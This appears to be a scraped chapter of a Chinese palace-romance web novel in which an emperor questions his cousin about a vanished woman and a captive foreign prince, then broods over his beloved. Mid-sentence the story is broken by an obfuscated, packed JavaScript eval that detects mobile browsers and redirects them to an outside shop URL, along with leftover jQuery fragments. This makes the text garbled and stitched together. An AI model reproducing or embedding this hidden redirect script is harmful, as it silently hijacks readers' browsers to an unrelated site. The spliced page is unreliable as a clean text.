李显前脚刚回到汴京,张丘便把他离开这段时间,朝廷发生的所有事,与他说了个遍。
“襄阳王竟然没有动作?”李显倒觉得有些稀奇,明明自己这个表哥对皇位觊觎已久,怎么这大好的机会却不发兵。
张丘点头,恭敬回答,“是的陛下,襄阳王除了平日上朝,其他时间都待在自己府上。不过……”
李显看他一眼,说道,“不过什么?”
“襄阳王一直在寻找赵小姐,但并无任何音讯。”张丘之所以说这件事,是因为他觉得一个人即使失踪,也会留下蛛丝马迹,可这赵思璃却十分蹊跷,仿佛人间蒸发一般。
“她身边定有别人,隐瞒行迹这种事,她一个人做不到。”李显定了定神,回到宸启依旧毫无头绪,眼前的局怎么破他心中仍没有答案。
不如就从这件看似不起眼的事查起,或许会有意想不到的收获。
“宣襄阳王进宫。”
“是。”
彼时的李遇正在自家后花园中挥剑乱砍,“养着你们有什么用!她又不在,开给谁看!”
园中的花悉数被斩下,只剩一片绿。
“哐啷”长剑滑落,李遇瘫坐在石凳上,此刻他才后知后觉感到疲乏。
他撑着额头,恍惚间仿佛看到了赵思璃,他伸出手想要拉住她,却发现站在他面前的是张丘。
“张公公有何贵干?”
“杂家是来宣陛下口谕,请襄阳王殿下速速进宫面圣。”
李遇冷哼一声,跪都没跪,只懒懒应道,“知道了。”见张丘还没有离开的意思,他瞪道,“本王说知道了,还有何事?”
张丘丝毫不把他的邪火当回事,继续面不改色地说道,“陛下为王爷安排了马车,请王爷现在便随杂家一起进宫。”
“好样的,那边走吧,我倒要看看我这个表弟去北夷这些时日,都学了什么招数!”
二人乘马车入了宫,走在宫道上,一个脚下生风,一个不慌不忙。可偏偏这每一个宫,都只认张丘而不认李遇。
这导致李遇急匆匆走到御书房外,却被人拦在殿门外,硬生生等了张丘一炷香的时间。
等人赶到时,李遇直接冲上去,十分不耐烦地问道,“你故意的?”
张丘立马辩解,“王爷,您这可就错怪杂家了,陛下刚回宫,有许多事要料理,我这几日忙得脚不离地,偏生陛下看重您,要我亲自去接,这一整日,杂家是一口水没喝,一粒米未进啊!冤枉啊!”
李遇看着他这副叫屈模样,冷笑道,“不愧是陛下的狗,当真尽忠职守。”
张丘欣然接受,“王爷抬爱了。”
话不多说,张丘带着李遇进了御书房,随后便退出来,吩咐人都离开。
李显将堆积的奏折处理了个差不多,从案桌前起身,坐到了李遇对面,开口问道,“听说你一直在找思璃?”
此间只有他们二人,李遇也不跟他客气,直言道,“你这不是明知故问吗?”
李显见他如此态度,也不恼,反而跟他打起商量,“我可以帮你找她,但是我问你什么,你必须告诉我,不得隐瞒。”
“哼,我凭什么告诉你?”李遇不服,什么人啊,一回来就抓他过来耀武扬威。
万一他问些什么不正经的,自己还有隐私可言吗?
“那好,我准备帮你挑选一位合适的正妃,唔,选谁好呢?我看吏部侍郎家的女儿就很不错……”
李遇用力一放茶杯,桌面响声极大,“李显,你别太过分,一个吏部侍郎,他的女儿凭什么做我的正妃?就连阿璃,都只能做个侧妃。”
他一个正儿八经的王爷,有兵权有属地,出入宸启皆自由,凭什么娶一个吏部侍郎的女儿当正妃。
“哦?那时我想错了,我以为表哥不在乎思璃,所以便想着给表哥再娶个新人,更何况,思璃不是也没与你三书六礼,终归还是个自由身,这要是与哪家公子情投意合,缔结良缘,表哥这不是徒增伤感吗?”
李显笑着说完,李遇已经气得牙痒痒。这分明就是在威胁他,如果不答应李显的要求,他就不会帮自己寻赵思璃的下落,还要给他安排个吏部侍郎的女儿羞辱他。
“好话尽让你说了,你想问什么?且说来听听。”如果无关紧要,他告诉李显也无妨,若是问了不该问的,他死也不会告诉他。
“我就知道表哥是个好相与的,也没有其他事,就是想知道那条通往皇宫的密道里都有些什么。”
李遇觑他一眼,总归他也没抓到赵思璃,胡诌一通他也不知道。
“没有什么,只不过是我关了一个人在里面。”
“人?什么人?”
“北夷九王子,穆时修。”
关于此人,李显一点消息都没有,他完全不知道宸启除了穆宁真外,还来了个九王子。
他看向李遇,眼神中充满探究,“表哥是如何抓住他的?他心甘情愿被你所擒?”
男人可以被质疑任何,但唯独不能被质疑实力。
他立马反驳道,“自然是他技不如人!”
李显点点头,继续问道,“那他为何来宸启?”感觉李遇把人抓起来,也跟这个九王子来宸启道目的脱不开干系。
果不其然,李遇瞬间冷了脸,“他不自量力,竟然大言不惭说要娶阿璃,呵,他一个名存实亡的王子,拿什么娶她?”
李显顿时明朗起来,如果他没猜错,那个带走赵思璃,并且为她掩盖行迹的人,很大概率就是这个九王子。
“或许,这位九王子也有自己的羽翼,只不过没有对表哥你全盘托出。毕竟,他喜欢的是思璃,而不是你。”
李遇闻言,气得眼中迸出几条血丝,他瞪着李显,“你想说什么?你是不是想告诉我,带走阿璃的人,很可能就是他?”
果然,人在一个特定环境中浸淫的时间久了,会自然而然练出一种直觉。
偏偏这个直觉每次都十分准确。
就像他与宁月分别时,便知道她要离开自己。
“表哥聪明。”李显夸他,但心中却在想,这个九
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761031|206243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
王子当真是为了赵思璃而来的吗?
李遇吃软不吃硬,突然听到这一声夸赞,心中不由得意几分,对他道,“区区一个穆时修,我还不会放在眼里,既然现在已经确定就是他带走了阿璃,那我便从他身上下手。”
李显没什么表情,只静静地看着他,叮嘱道,“那我便先提前祝贺表哥了。”
“好说好说。”他突然想起宁月,却发现李显身边并没有她的身影,不由得问道,“宁月呢?没跟你一起回来?”
握住杯沿的手紧了紧,李显佯装轻松地说道,“她有事,去了淮安。”
“哦,是不是那些流民的问题?”
“嗯。”
见他兴致缺缺,李遇也不再继续问,而是找了个借口离开。
入夜,李显沐浴完毕,躺在榻上看着帷帐顶,翻来覆去怎么都睡不着。
他披衣而起,推开殿门,夜风微凉,值夜的小太监看到,立马去喊了张丘过来。
“陛下,这么冷的天您怎么出来了?”说着,将手中的狐裘披到他身上。
见他不言语,张丘又问,“陛下可是有心事?”
李显淡淡地应道,“嗯。”随后,他坐在殿门框上,拍了拍身侧,示意张丘也坐。
“幼时,我便经常这样坐在这里,你一直都陪在我身边,时间过得真快啊……”
张丘默默听着,心中不免有些担忧,自己的年岁大了,而眼前的帝王,却十分年少,若以后他不在了,谁又能尽心尽力地服侍他……
为他自己选一个合适的接班人,也该提上日程了。
“张丘,你说,爱一个人到底是怎样的?”他问一个太监,爱情是什么。
这个问题确实难倒了张丘,他左思右想,都没想出一个答案。
于是便说,“陛下,您不如说得具体些。”
“你觉得,宁月爱我吗?”李显说得十分具体了,这下张丘也听懂了。
他看着一脸愁绪的少年帝王,说道,“外人都觉得,您太过喜欢宁姑娘,但宁姑娘,未必有您喜欢她一样喜欢你。”
李显“嗯”了一声,事实如此,他对宁月的好一点都不藏着掖着,恨不得全天下人都知道。
但宁月,她不仅胆小,甚至会因他们中间出现的困难而产生退意。
这些都无所谓,他愿意为她解决所有问题,但就像人们常说的:爱一个人,对方一定能感觉得到。
他并非矫情,而是他真的感受不到宁月对他有多么爱。
张丘怕他伤心,又补了一句,“其实宁姑娘是一个非常腼腆含蓄的人,或许她也非常喜欢您,只不过碍于身份或者其他的什么,不好表露出来罢了。我相信,她也同意喜欢您。”
李显听完这话心中并没有多好受,反而自嘲地笑了笑,“张丘,你无需找补,喜欢不喜欢,我还是能感觉得到的,只不过……”
后边的话他没有说出来,因为他既然认定了宁月,那无论如何,她这辈子都只能与自己在一起。
无论以何种方式。